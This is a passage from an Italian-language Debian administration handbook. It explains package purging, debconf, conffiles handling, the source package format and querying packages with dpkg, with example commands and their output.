Nel caso di una completa eliminazione del pacchetto (eseguendo dpkg --purge o dpkg -P), vengono cancellati anche i file di configurazione insieme ad un certo numero di file temporanei (*.dpkg-tmp, *.dpkg-old, *.dpkg-new); dpkg esegue quindi lo script postrm passandogli purge come argomento.

VOCABOLARIO Purge, una rimozione completa

Quando un pacchetto Debian viene rimosso, i file di configurazione sono conservati per facilitare una possibile reinstallazione. Per lo stesso motivo, i dati generati da un demone (come i contenuti della directory di un server LDAP o il contenuto di un database per un server SQL) normalmente sono conservati.

Per rimuovere tutti i dati associati a un pacchetto, è necessario eseguirne il "purge" con il comando dpkg -P pacchetto, apt-get remove --purge pacchetto oppure aptitude purge pacchetto.

Vista la natura definitiva di tale rimozione di dati, una rimozione con purge non dovrebbe essere effettuata con leggerezza.

I quattro script descritti precedentemente sono accompagnati da uno script config, incluso nei pacchetti e che usa debconf per acquisire dall'utente le informazioni necessarie per la configurazione. Durante l'installazione, questo script definisce nei dettagli le domande poste da debconf. Le risposte sono registrate nel database di debconf per usi futuri. Lo script è generalmente eseguito da apt prima di installare i pacchetti uno per uno in modo da raggruppare tutte le domande e porle all'utente all'inizio del processo. Gli script pre- e post-installazione possono quindi usare queste informazioni per operare secondo i desideri dell'utente.

STRUMENTO debconf

debconf è stato creato per risolvere un problema ricorrente in Debian. Tutti i pacchetti Debian che non sono in grado di funzionare senza un minimo di configurazione ponevano le loro domande usando i comandi echo e read nello script della shell postinst e altri script simili. Ma questo significava che durante un'installazione o un aggiornamento di grosse dimensioni l'utente doveva stare davanti al computer per rispondere alle varie domande che potevano essere poste in qualsiasi momento. Queste interazioni manuali sono quasi state completamente eliminate grazie allo strumento debconf.

debconf ha molte caratteristiche interessanti: richiede che lo sviluppatore specifichi l'interazione con l'utente; permette la localizzazione di tutte le stringhe visualizzate (tutte le traduzioni sono memorizzate nel file templates che descrive le interazioni); ha diverse interfacce per sottoporre le domande all'utente (modalità testo, modalità grafica, non interattiva); e permette la creazione di un database centrale di risposte per condividere la stessa configurazione con diversi computer... ma la più importante è che ora è possibile presentare tutte le domande insieme prima di iniziare un lungo processo di installazione o di aggiornamento. L'utente può fare altre cose mentre il sistema gestisce da solo l'installazione, senza la necessità di dover stare a fissare lo schermo in attesa di domande.

5.2.3. Checksum, elenco dei file di configurazione, ecc.

Oltre agli script del manutentore e ai dati di controllo già menzionati nelle sezioni precedenti, l'archivio control.tar.gz di un pacchetto Debian può contenere altri file interessanti.

Il primo, md5sums, contiene i checksum MD5 per tutti i file del pacchetto. La sua principale prerogativa è di permette a dpkg --verify (che vedremo in Sezione 14.3.4.1, «Revisione dei Pacchetti con dpkg --verify») e debsums (dall'omonimo pacchetto; vedere Sezione 14.3.4.2, «Controllo dei pacchetti: debsums e i suoi limiti») di controllare se questi file sono stati modificati dopo la loro installazione. Si noti che qualora il file non esista, come potrebbe essere nel caso di alcuni pacchetti più vecchi, dpkg lo genererà in modo dinamico durante l'installazione (memorizzandolo nel database di dpkg come per gli altri file di controllo).

Il file conffiles elenca i file del pacchetto che devono essere gestiti come file di configurazione (vedere deb-conffiles(5)). I file di configurazione possono essere modificati dall'amministratore e dpkg cercherà di mantenere questi cambiamenti durante l'aggiornamento del pacchetto.

In effetti, in questa situazione, dpkg si comporta il più intelligentemente possibile: non fa niente se il file di configurazione standard non è cambiato tra le due versioni. Se, invece, il file è cambiato, cercherà di aggiornarlo. Sono possibili due casi: o l'amministratore non ha toccato questo file di configurazione, nel qual caso dpkg installa automaticamente la nuova versione; oppure il file è stato modificato, nel qual caso dpkg chiede all'amministratore quale versione desidera usare (quella vecchia con modifiche o quella nuova fornita con il pacchetto). Per aiutare nella decisione, dpkg offre la possibilità di visualizzare un "diff" che mostra le differenze tra le due versioni. Se l'utente sceglie di tenere la vecchia versione, quella nuova sarà memorizzata nella stessa posizione, in un file con il suffisso .dpkg-dist. Se l'utente sceglie la nuova versione, quella vecchia è mantenuta in un file con il suffisso .dpkg-old. Un'altra azione disponibile consiste nell'interrompere momentaneamente dpkg per modificare il file e tentare di applicare di nuovo le relative modifiche (precedentemente identificate con diff).

APPROFONDIMENTO Obbligare dpkg a porre le domande sui file di configurazione

L'opzione --force-confask richiede che dpkg visualizzi le domande sui file di configurazione, anche nei casi in cui non sarebbe normalmente necessario. Perciò, durante la reinstallazione di un pacchetto con questa opzione, dpkg porrà di nuovo le domande per tutti i file di configurazione modificati o cancellati dall'amministratore. Ciò è molto comodo, specialmente per reinstallare il file di configurazione originale se è stato eliminato o non è disponibile un'altra copia: una normale reinstallazione non funzionerebbe perché dpkg considera la rimozione come una forma legittima di modifica e, perciò, non installa il file di configurazione desiderato.

Fare riferimento al riquadro APPROFONDIMENTO Evitare le domande sui file di configurazione per l'utilizzo di queste opzioni con APT.

APPROFONDIMENTO Evitare le domande sui file di configurazione

dpkg gestisce gli aggiornamenti del file di configurazione, ma interrompe regolarmente queste operazioni per chiedere input dall'amministratore. Questo lo rende poco piacevole per chi desidera eseguire gli aggiornamenti in maniera non interattiva. Questo è il motivo per cui questo programma offre opzioni che permettono al sistema di rispondere automaticamente secondo la stessa logica: --force-confold mantiene la vecchia versione del file; --force-confnew userà la nuova versione del file (queste scelte sono rispettate anche se il file non è stato cambiato dall'amministratore, cosa che solo raramente ha l'effetto desiderato). L'aggiunta dell'opzione --force-confdef dice a dpkg di usare l'opzione predefinita quando è offerta una scelta (in altre parole, quando il file di configurazione originale non è stato toccato) e usa --force-confnew o --force-confold per gli altri casi.

Queste opzioni si applicano a dpkg, e sono spiegate in dettaglio in dpkg(1) o dpkg --force-help, ma la maggior parte del tempo l'amministratore lavorerà direttamente con i programmi aptitude o apt. È, perciò, necessario conoscere la sintassi usata per indicare le opzioni da passare al comando dpkg (le loro interfacce da riga di comando sono molto simili).

# apt -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" full-upgrade

Queste opzioni possono anche essere memorizzate direttamente nella configurazione di apt. Per farlo, basta inserire le seguenti righe nel file /etc/apt/apt.conf.d/local:

Dpkg::Options { "--force-confdef"; "--force-confold"; }

Includere questa opzione nel file di configurazione permetterà di usarlo anche in un'interfaccia grafica come aptitude.

L'archivio di controllo contiene spesso anche altri file, come triggers, shlibs, o symbols. Questi file sono ben descritti in deb-triggers(5), deb-shlibs(5), e deb-symbols(5).

I trigger sono stati introdotti per ridurre la quantità di eventi duplicati durante l'installazione del pacchetto, come la registrazione dei file o le attività di aggiornamento del catalogo/database. I pacchetti possono definirne di propri od attivare quelli predefiniti. Una documentazione più completa si trova in /usr/share/doc/dpkg/triggers.txt.gz.

Il sistema shlibs è un'alternativa più vecchia e più semplice al sistema symbols per dichiarare le dipendenze delle librerie condivise. Definisce il nome e la versione del pacchetto in cui trovare una specifica "SONAME-versione" di una libreria condivisa. Il più recente sistema symbols permette invece di definire la dipendenza tenendo traccia dei simboli e di quando sono stati introdotti o modificati nella libreria.

5.3. Struttura di un pacchetto sorgente

5.3.1. Formato

Un pacchetto sorgente è normalmente composto da tre file, un .dsc, un .orig.tar.gz e un .debian.tar.xz (o .diff.gz). Essi permettono la creazione di pacchetti binari (i file .deb descritti precedentemente) dal loro codice sorgente, scritti in un linguaggio di programmazione.

Il file .dsc (Debian Source Control) è un breve file di testo che contiene un'intestazione RFC 2822 (proprio come il file control esaminato nella Sezione 5.2.1, «Descrizione: il file control») che descrive il pacchetto sorgente e indica quali altri file ne fanno parte. È firmato dal suo manutentore, il che garantisce la sua autenticità. Vedere la Sezione 6.6, «Controllare l'autenticità dei pacchetti» per ulteriori dettagli su questo argomento.

Esempio 5.1. Un file .dsc

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Format: 3.0 (quilt) Source: zim Binary: zim Architecture: all Version: 0.73.5-1 Maintainer: Zim Package Maintainers <zim@packages.debian.org> Uploaders: Raphaël Hertzog <hertzog@debian.org> Homepage: https://zim-wiki.org Standards-Version: 4.5.1 Vcs-Browser: https://salsa.debian.org/debian/zim Vcs-Git: https://salsa.debian.org/debian/zim.git Build-Depends: debhelper-compat (= 13), python3, python3-gi, python3-xdg, gir1.2-gtk-3.0, dh-python Package-List: zim deb x11 optional arch=all Checksums-Sha1: 80d43d5c1c6a47c695079eb02bc8ad36b84d6e57 2159901 zim_0.73.5.orig.tar.gz b1cd86dc4819a80126efbf6ee6eba17a33f451d3 10124 zim_0.73.5-1.debian.tar.xz Checksums-Sha256: a36f15d92c3994c0d55b07f83253b3d8b826beb3714865edbabc14f1cc91d63a 2159901 zim_0.73.5.orig.tar.gz 6c2db642d9ac1c2440ed08e0cd584006045b342b255f37ffe42bd5459fb5cb76 10124 zim_0.73.5-1.debian.tar.xz Files: fa76ceb8ac7d7354fb0e2bc5607e9faa 2159901 zim_0.73.5.orig.tar.gz a0c824d979efb196cde0176d3cb9c719 10124 zim_0.73.5-1.debian.tar.xz -----BEGIN PGP SIGNATURE----- Comment: Signed by Raphael Hertzog iQEzBAEBCgAdFiEE1823g1EQnhJ1LsbSA4gdq+vCmrkFAmAa3ooACgkQA4gdq+vC mrkq1gf/cs7irmbCSDrADVqsqYBrFJ1FyprE3jiHLNs0OQLryhFj9tzDuilX35VE HkCfxSaKkzgvQLYtpuw1VBfhOdngTdHO39U6eljkaScnfLWU8Z5n/q+YeedxItoY X3TtzMexFmb4WJqlylfjbXeqbLdYvsILQ3NVnE48AzkaBQlCC2d9bqecZhWiKfzq gNxIDVDDhqCXMPe7QCErCBiFPUVpGN7b+6QWN0RxOTLZdj/slRD73rT++VmY+xN1 L8BSLcjXie+ES11MhQNYaLpCv2vqImlZaxkFWvsKBo9ndRFSbE3/RNK479a4KGve KrdpGUJXy9uLPuAMyn5WphwXJ7OZXQ== =YFDk -----END PGP SIGNATURE-----

Notare che anche il pacchetto sorgente ha delle dipendenze (Build-Depends) completamente distinte da quelle del pacchetto binario, dal momento che indicano gli strumenti richiesti per compilare il software in questione e creare il suo pacchetto binario.

ATTENZIONE Spazi di nomi distinti

È importante notare qui che non c'è una forte corrispondenza tra il nome del pacchetto sorgente e quello dei pacchetti binari che genera. È abbastanza facile da capire se si sa che ogni pacchetto sorgente può generare diversi pacchetti binari. Questo è il motivo per cui il file .dsc ha i campi Source e Binary per nominare esplicitamente il pacchetto sorgente e memorizzare l'elenco dei pacchetti binari che esso genera.

CULTURA Perché dividere in diversi pacchetti

Piuttosto di frequente, un pacchetto sorgente (per un certo applicativo) può generare diversi pacchetti binari. Le ragioni sono molteplici: un programma, o parti di esso, può spesso essere usato in contesti diversi, ad esempio una libreria condivisa può essere installata per far funzionare un'applicazione (per esempio libc6) o può essere installata per sviluppare un nuovo programma (libc6-dev sarà allora il pacchetto corretto). La stessa logica si trova per servizi client/server dove la parte server è installata su una macchina e la parte client su altre (questo è il caso, per esempio, di openssh-server e di openssh-client).

Altrettanto di frequente, la documentazione è fornita in un pacchetto dedicato: l'utente può installarla indipendentemente dal software e può scegliere di rimuoverla in qualsiasi momento per risparmiare spazio su disco. Inoltre, ciò farà risparmiare spazio anche sui mirror di Debian, dal momento che il pacchetto con la documentazione sarà condiviso tra tutte le architetture (invece di duplicarla, all'interno dei pacchetti, per ogni architettura).

IN PROSPETTIVA Differenti formati di pacchetti sorgenti

Inizialmente c'era un solo formato per i pacchetti sorgenti. Questo succedeva nel formato 1.0 che associa un archivio .orig.tar.gz a una patch .diff.gz di "debianizzazione" (c'è anche una variante che consiste di un singolo archivio .tar.gz che è usato automaticamente se non c'è alcun .orig.tar.gz disponibile).

A partire da Debian 6 Squeeze, gli sviluppatori Debian hanno l'opzione di usare dei nuovi formati che correggono molti problemi del formato storico. Il formato 3.0 (quilt) può unire più archivi a monte in uno stesso pacchetto sorgente: in aggiunta al solito .orig.tar.gz, possono essere inclusi archivi supplementari .orig-componente.tar.gz. Ciò è utile con software che è distribuito in diversi componenti a monte ma per il quale si desidera un singolo pacchetto sorgente. Questi archivi possono anche essere compressi con xz piuttosto che con gzip), il che risparmia spazio su disco e risorse di rete. Infine, la patch monolitica, .diff.gz, è stata sostituita dall'archivio .debian.tar.xz che contiene le istruzioni di compilazione e un insieme di patch ai sorgenti a monte create dal manutentore del pacchetto. Queste ultime sono registrate in un formato compatibile con quilt — uno strumento che facilita la gestione di una serie di patch.

Il file .orig.tar.gz è un archivio che contiene il codice sorgente del programma come fornito dallo sviluppatore originale. Ai manutentori dei pacchetti Debian viene chiesto di non modificare questo archivio in modo da poter facilmente verificare la fonte e l'integrità del file (con un semplice confronto con una somma di controllo) e per rispettare i desideri di alcuni autori.

L'archivio .debian.tar.xz contiene tutte le modifiche fatte dal manutentore Debian, specialmente l'aggiunta della directory debian contenente le istruzioni da eseguire per creare uno o più pacchetti binari Debian.

STRUMENTO Decomprimere un pacchetto sorgente

Avendo un pacchetto sorgente, si può usare il comando dpkg-source (dal pacchetto dpkg-dev) per decomprimerlo:

$ dpkg-source -x zim_0.73.5-1.dsc dpkg-source: info: extracting zim in zim-0.73.5 dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

Si può anche usare apt per scaricare un pacchetto sorgente e scompattarlo immediatamente. È richiesto che le appropriate linee deb-src siano presenti nel file /etc/apt/sources.list (per ulteriori dettagli, vedere la Sezione 6.1, «Compilazione del file sources.list»). Esse sono usate per elencare le "fonti" dei pacchetti sorgente (intendendo i server sui quali è ospitato un gruppo di pacchetti sorgente).

$ apt source package Reading package lists... Done NOTICE: 'zim' packaging is maintained in the 'Git' version control system at: https://salsa.debian.org/debian/zim.git Please use: git clone https://salsa.debian.org/debian/zim.git to retrieve the latest (possibly unreleased) updates to the package. Need to get 2,172 kB of source archives. Get:1 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (dsc) [1,580 B] Get:2 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (tar) [2,160 kB] Get:3 https://deb.debian.org/debian bullseye/main zim 0.73.5-1 (diff) [10.1 kB] Fetched 2,172 kB in 0s (7,176 kB/s) dpkg-source: info: extracting zim in zim-0.73.5 dpkg-source: info: unpacking zim_0.73.5.orig.tar.gz dpkg-source: info: unpacking zim_0.73.5-1.debian.tar.xz

5.3.2. Uso con Debian

Il pacchetto sorgente è alla base di tutto in Debian. Tutti i pacchetti provengono da un pacchetto sorgente e ogni modifica in un pacchetto Debian è la conseguenza di una modifica apportata al pacchetto sorgente. I manutentori Debian lavorano con il pacchetto sorgente, consapevoli delle conseguenze delle loro azioni sui pacchetti binari. Il frutto del loro lavoro si trova quindi nei pacchetti sorgenti disponibili in Debian: si può facilmente risalire ad essi e tutto deriva da essi. Capitolo 15, Creazione di un pacchetto Debian contiene alcuni esempi.

Quando una nuova versione di un pacchetto sorgente arriva sul server Debian, viene utilizzata da una rete di macchine con architetture diverse per la compilazione sulle varie architetture supportate da Debian.

→ https://buildd.debian.org/

APPROFONDIMENTO Caricamento dei soli sorgenti da parte dei manutentori

Subito dopo il rilascio di Debian 10 Buster il Team di Rilascio ha annunciato che i caricamenti binari dei manutentori non saranno più accettati per main e che tutti i pacchetti binari di questa sezione dovranno essere creati automaticamente caricando obbligatoriamente i soli sorgenti. I caricamenti binari sono ancora consentiti per le sezioni contrib e non-free, ma non ci concentreremo su questa possibilità perché dovrebbe essere solo un'eccezione.

5.4. Manipolazione dei pacchetti con dpkg

dpkg è il comando di base per gestire i pacchetti Debian sul sistema. Se si hanno dei pacchetti .deb, è dpkg che permette l'installazione o l'analisi del loro contenuto. Ma questo programma ha solo una visione parziale dell'universo Debian: conosce cosa è installato sul sistema e ciò che è dato sulla riga di comando, ma non conosce nulla degli altri pacchetti disponibili. Perciò, fallirà se una dipendenza non è soddisfatta. Strumenti come apt e aptitude, al contrario, creano un elenco di dipendenze da installare il più automaticamente possibile.

NOTA dpkg o apt?

dpkg dovrebbe essere visto come uno strumento di sistema (backend) e apt come uno strumento più vicino all'utente, che supera le limitazioni del precedente strumento. Questi strumenti lavorano insieme, ognuno con le proprie peculiarità, adatte a compiti specifici.

5.4.1. Installazione dei pacchetti

dpkg è, soprattutto, uno strumento per installare un pacchetto Debian già disponibile (perché non scarica niente). Per fare ciò, si usa la sua opzione -i oppure --install.

Esempio 5.2. Installazione di un pacchetto con dpkg

# dpkg -i man-db_2.9.4-2_amd64.deb (Reading database ... 227466 files and directories currently installed.) Preparing to unpack man-db_2.9.4-2_amd64.deb ... Unpacking man-db (2.9.4-2) over (2.8.5-2) ... Setting up man-db (2.9.4-2) ... Updating database of manual pages ... man-db.service is a disabled or a static unit not running, not starting it. Processing triggers for mailcap (3.69) ...

Si possono vedere i differenti passi eseguiti da dpkg; sappiamo, perciò, a quale punto si potrebbe essere verificato un errore. L'installazione può anche essere effettuata in due stadi: prima lo spacchettamento, poi la configurazione. apt si avvantaggia di ciò, limitando il numero di chiamate a dpkg (dal momento che ogni chiamata è onerosa a causa del caricamento del database in memoria, specialmente l'elenco dei file già installati).

Esempio 5.3. Spacchettamento e configurazione separati

# dpkg --unpack man-db_2.9.4-2_amd64.deb (Reading database ... 227466 files and directories currently installed.) Preparing to unpack man-db_2.9.4-2_amd64.deb ... Unpacking man-db (2.9.4-2) over (2.9.4-2) ... Processing triggers for mailcap (3.69) ... # dpkg --configure man-db Setting up man-db (2.9.4-2) ... Updating database of manual pages ... man-db.service is a disabled or a static unit not running, not starting it.

Talvolta dpkg non riuscirà a installare un pacchetto e restituirà un errore; se l'utente ordina di ignorarlo, verrà emesso soltanto un avvertimento; è per questo motivo che esistono le diverse opzioni --force-*. Il comando dpkg --force-help, o la documentazione di questo comando, dà un elenco completo di queste opzioni. L'errore più frequente, che prima o poi si incontrerà, è una collisione tra file. Quando un pacchetto contiene un file che è già installato da un altro pacchetto, dpkg si rifiuterà di installarlo. Il seguente messaggio apparirà:

Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ... dpkg: error processing /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack): trying to overwrite '/usr/bin/gdmflexiserver', which is also in package gdm3 3.4.1-9

In questo caso, se si pensa che sostituire questo file non sia un rischio significativo per la stabilità del sistema (e solitamente è così), si può usare l'opzione --force-overwrite, che dice a dpkg di ignorare questo errore e di sovrascrivere il file.

Anche se ci sono molte opzioni --force-* disponibili, è probabile che solo --force-overwrite sia usata regolarmente. Queste opzioni esistono solamente per situazioni eccezionali, raramente incontrate in Debian Stable. È meglio lasciarle stare il più possibile per rispettare le regole imposte dal meccanismo dei pacchetti. Non dimentichiamoci che queste regole assicurano la coerenza e la stabilità del sistema.

ATTENZIONE Uso efficace di --force-*

Se non si presta attenzione, l'uso di un'opzione --force-* può condurre a un sistema in cui la famiglia di comandi APT si rifiuterà di funzionare. Infatti, alcune di queste opzioni permettono l'installazione di un pacchetto quando una dipendenza non è soddisfatta o quando c'è un conflitto. Il risultato è un sistema non coerente dal punto di vista delle dipendenze e i comandi APT si rifiuteranno di eseguire qualsiasi azione a meno che l'azione non permetta di tornare a uno stato coerente (questo spesso consiste nell'installazione della dipendenza mancante o nella rimozione di un pacchetto problematico). Questo spesso risulta in un messaggio come il seguente, ottenuto dopo l'installazione di una nuova versione di rdesktop ignorando la sua dipendenza da una nuova versione di libc6:

# apt full-upgrade [...] You might want to run 'apt-get -f install' to correct these. The following packages have unmet dependencies: rdesktop: Depends: libc6 (>= 2.5) but 2.3.6.ds1-13etch7 is installed E: Unmet dependencies. Try using -f.

Un amministratore coraggioso che sia certo della correttezza della propria analisi può scegliere di ignorare una dipendenza o un conflitto e usare la corrispondente opzione --force-*. In questo caso, se si vuole continuare a usare apt o aptitude, bisogna modificare /var/lib/dpkg/status per eliminare o modificare la dipendenza, o il conflitto, che si è scelto di scavalcare.

Questa manipolazione è uno "sporco trucco" e non dovrebbe essere mai usato, eccetto in caso di estrema necessità. Molto spesso, una soluzione più adatta è quella di ricompilare il pacchetto che sta causando il problema (consultare la Sezione 15.1, «Rigenerare un pacchetto dai suoi sorgenti») o usare una nuova versione (potenzialmente corretta) da un sito come stable-backports (vedere Sezione 6.1.2.4, «Backport per Stable»).

5.4.2. Rimozione di pacchetti

Invocare dpkg con l'opzione -r o --remove, seguita dal nome del pacchetto, rimuove tale pacchetto. Questa rimozione, comunque, non è completa: rimangono tutti i file di configurazione, gli script del manutentore, i file di log (di sistema) e altri dati utente gestiti dal pacchetto. In questo modo la disattivazione del programma può essere facilmente eseguita disinstallandolo ed è ancora possibile reinstallarlo rapidamente con la stessa configurazione. Per rimuovere completamente tutto ciò che è associato ad un pacchetto, utilizzare l'opzione -P o --purge, seguita dal nome del pacchetto..

Esempio 5.4. Rimozione ed eliminazione completa del pacchetto debian-cd

# dpkg -r debian-cd (Reading database ... 228705 files and directories currently installed.) Removing debian-cd (3.1.35) ... # dpkg -P debian-cd (Reading database ... 228049 files and directories currently installed.) Purging configuration files for debian-cd (3.1.35) ...

5.4.3. Interrogazione del Database di dpkg ed Ispezione dei File .deb

FONDAMENTALE Sintassi delle opzioni

La maggior parte delle opzioni è disponibile nella versione "lunga" (una o più parole precedute da due trattini) o nella versione "corta" (una singola lettera, spesso l'iniziale di una parola della versione lunga, preceduta da un singolo trattino). Questa convenzione è così comune che è uno standard POSIX.

Prima di concludere questa sezione, studieremo le opzioni di dpkg che interrogano il database interno per ottenere informazioni. Mostreremo prima le opzioni lunghe e poi le corrispondenti opzioni brevi (che evidentemente prenderanno gli stessi possibili argomenti) come:

--listfiles pacchetto (o -L), che elenca i file installati da questo pacchetto;

--search file (o -S), che trova i pacchetti contenenti il file;

--status pacchetto (o -s), che visualizza le intestazioni di un pacchetto installato;

--list (o -l), che visualizza l'elenco dei pacchetti noti al sistema ed il loro stato di installazione;

--contents file.deb (o -c), che elenca i file contenuti nel pacchetto Debian specificato;

--info file.deb (o -I), che visualizza le intestazioni di questo pacchetto Debian.

ATTENZIONE dpkg --search e l'accorpamento di /usr

Per varie ragioni, Debian ora installa di default alcune directory di primo livello come collegamenti simbolici alle loro controparti sotto /usr. Per esempio, /bin, /sbin e /lib sono ora symlink a, rispettivamente, /usr/bin, /usr/sbin e /usr/lib.

Sebbene ciò fornisca degli innegabili vantaggi, può anche essere fonte di confusione. Per esempio, quando si interroga dpkg su quale pacchetto possiede un dato file, esso sarà in grado di rispondere solo quando si fornisce il suo percorso originale:

$ dpkg --search /bin/mount mount: /bin/mount $ dpkg --search /usr/bin/mount dpkg-query: no path found matching pattern /usr/bin/mount $ dpkg --search /bin/apt dpkg-query: no path found matching pattern /bin/apt $ dpkg --search /usr/bin/apt apt: /usr/bin/apt

Questo problema è attualmente tracciato come bug #858331. È inoltre in corso una discussione per stabilire se l'approccio utilizzato finora sia controproducente.

→ https://bugs.debian.org/858331

Esempio 5.5. Varie richieste con dpkg

$ dpkg -L base-passwd /. /usr /usr/sbin /usr/sbin/update-passwd /usr/share /usr/share/base-passwd /usr/share/base-passwd/group.master /usr/share/base-passwd/passwd.master /usr/share/doc /usr/share/doc/base-passwd /usr/share/doc/base-passwd/README /usr/share/doc/base-passwd/changelog.gz /usr/share/doc/base-passwd/copyright /usr/share/doc/base-passwd/users-and-groups.html /usr/share/doc/base-passwd/users-and-groups.txt.gz /usr/share/doc-base /usr/share/doc-base/users-and-groups /usr/share/lintian /usr/share/lintian/overrides /usr/share/lintian/overrides/base-passwd /usr/share/man /usr/share/man/de /usr/share/man/de/man8 /usr/share/man/de/man8/update-passwd.8.gz /usr/share/man/es /usr/share/man/es/man8 /usr/share/man/es/man8/update-passwd.8.gz /usr/share/man/fr /usr/share/man/fr/man8 /usr/share/man/fr/man8/update-passwd.8.gz /usr/share/man/ja /usr/share/man/ja/man8 /usr/share/man/ja/man8/update-passwd.8.gz /usr/share/man/man8 /usr/share/man/man8/update-passwd.8.gz /usr/share/man/pl /usr/share/man/pl/man8 /usr/share/man/pl/man8/update-passwd.8.gz /usr/share/man/ru /usr/share/man/ru/man8 /usr/share/man/ru/man8/update-passwd.8.gz $ dpkg -S /bin/date coreutils: /bin/date $ dpkg -s coreutils Package: coreutils Essential: yes Status: install ok installed Priority: required Section: utils Installed-Size: 17478 Maintainer: Michael Stone <mstone@debian.org> Architecture: amd64 Multi-Arch: foreign Source: coreutils (8.32-4) Version: 8.32-4+b1 Pre-Depends: libacl1 (>= 2.2.23), libattr1 (>= 1:2.4.44), libc6 (>= 2.28), libgmp10, libselinux1 (>= 3.1~) Description: GNU core utilities This package contains the basic file, shell and text manipulation utilities which are expected to exist on every operating system. . Specifically, this package includes: arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp csplit cut date dd df dir dircolors dirname du echo env expand expr factor false flock fmt fold groups head hostid id install join link ln logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc numfmt od paste pathchk pinky pr printenv printf ptx pwd readlink realpath rm rmdir runcon sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test timeout touch tr true truncate tsort tty uname unexpand uniq unlink users vdir wc who whoami yes Homepage: http://gnu.org/software/coreutils $ dpkg -l 'b*' Desired=Unknown/Install/Remove/Purge/Hold | Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend |/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad) ||/ Name Version Architecture Description +++-==========================-==============-============-================================== un backupninja <none> <none> (no description available) un backuppc <none> <none> (no description available) ii baloo-kf5 5.78.0-3 amd64 framework for searching and manag> un balsa <none> <none> (no description available) ii baobab 3.38.0-1 amd64 GNOME disk usage analyzer un base <none> <none> (no description available) un base-config <none> <none> (no description available) ii base-files 11.1 amd64 Debian base system miscellaneous > ii base-passwd 3.5.51 amd64 Debian base system master passwor> ii bash 5.1-2+b1 amd64 GNU Bourne Again SHell [..] $ dpkg -c /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb drwxr-xr-x root/root 0 2021-07-25 20:43 ./ drwxr-xr-x root/root 0 2021-07-25 20:43 ./bin/ -rwxr-xr-x root/root 1234376 2021-07-25 20:43 ./bin/bash drwxr-xr-x root/root 0 2021-07-25 20:43 ./etc/ -rw-r--r-- root/root 1994 2021-07-25 20:43 ./etc/bash.bashrc drwxr-xr-x root/root 0 2021-07-25 20:43 ./etc/skel/ -rw-r--r-- root/root 220 2021-07-25 20:43 ./etc/skel/.bash_logout -rw-r--r-- root/root 3526 2021-07-25 20:43 ./etc/skel/.bashrc -rw-r--r-- root/root 807 2021-07-25 20:43 ./etc/skel/.profile drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/ drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/bin/ -rwxr-xr-x root/root 6759 2021-07-25 20:43 ./usr/bin/bashbug -rwxr-xr-x root/root 14648 2021-07-25 20:43 ./usr/bin/clear_console drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/share/ drwxr-xr-x root/root 0 2021-07-25 20:43 ./usr/share/doc/ [..] $ dpkg -I /var/cache/apt/archives/bash_5.1-3+b1_amd64.deb new Debian package, version 2.0. size 1416600 bytes: control archive=7256 bytes. 77 bytes, 4 lines conffiles 1030 bytes, 27 lines control 4511 bytes, 64 lines md5sums 603 bytes, 31 lines * postinst #!/bin/bash 500 bytes, 25 lines * postrm #!/bin/sh 14536 bytes, 33 lines * preinst 289 bytes, 22 lines * prerm #!/bin/bash Package: bash Source: bash (5.1-3) Version: 5.1-3+b1 Architecture: amd64 Essential: yes Maintainer: Matthias Klose <doko@debian.org> Installed-Size: 6470 Pre-Depends: libc6 (>= 2.25), libtinfo6 (>= 6) Depends: base-files (>= 2.1.12), debianutils (>= 2.15) Recommends: bash-completion (>= 20060301-0) Suggests: bash-doc Conflicts: bash-completion (<< 20060301-0) Replaces: bash-completion (<< 20060301-0), bash-doc (<= 2.05-1) Section: shells Priority: required Multi-Arch: foreign Homepage: http://tiswww.case.edu/php/chet/bash/bashtop.html Description: GNU Bourne Again SHell Bash is an sh-compatible command language interpreter that executes commands read from the standard input or from a file. Bash also incorporates useful features from the Korn and C shells (ksh and csh). . Bash is ultimately intended to be a conformant implementation of the IEEE POSIX Shell and Tools specification (IEEE Working Group 1003.2). . The Programmable Completion Code, by Ian Macdonald, is now found in the bash-completion package.

APPROFONDIMENTO Confronto di versioni

Dal momento che dpkg è il programma per gestire pacchetti Debian, fornisce anche l'implementazione tipo della logica di confronto dei numeri di versione. Questo è il motivo per cui ha un'opzione --compare-versions utilizzabile da programmi esterni (specialmente gli script di configurazione eseguiti dallo stesso dpkg). Questa opzione richiede tre parametri: un numero di versione, un operatore di confronto e un secondo numero di versione. I diversi operatori possibili sono lt (strettamente minore), le (minore o uguale), eq (uguale), ne (diverso), ge (maggiore o uguale) e gt (strettamente maggiore). Se il confronto è corretto, dpkg restituisce il codice di ritorno 0 (successo), altrimenti restituisce un valore di ritorno diverso da zero (che indica fallimento).

$ dpkg --compare-versions 1.2-3 gt 1.1-4 $ echo $? 0 $ dpkg --compare-versions 1.2-3 lt 1.1-4 $ echo $? 1 $ dpkg --compare-versions 2.6.0pre3-1 lt 2.6.0-1 $ echo $? 1

Si noti il fallimento inatteso dell'ultimo confronto: per dpkg, pre, che normalmente indica un pre-rilascio, non ha alcun particolare significato e questo programma confronta i caratteri alfabetici nello stesso modo dei numeri (a <b <c ...) in ordine alfabetico. Questo è il motivo per cui "0pre3" è considerato maggiore di "0". Quando si vuole che un numero di versione di un pacchetto indichi che si tratta di un pre-rilascio, si deve usare il carattere tilde "~":

$ dpkg --compare-versions 2.6.0~pre3-1 lt 2.6.0-1 $ echo $? 0

5.4.4. File di registro di dpkg

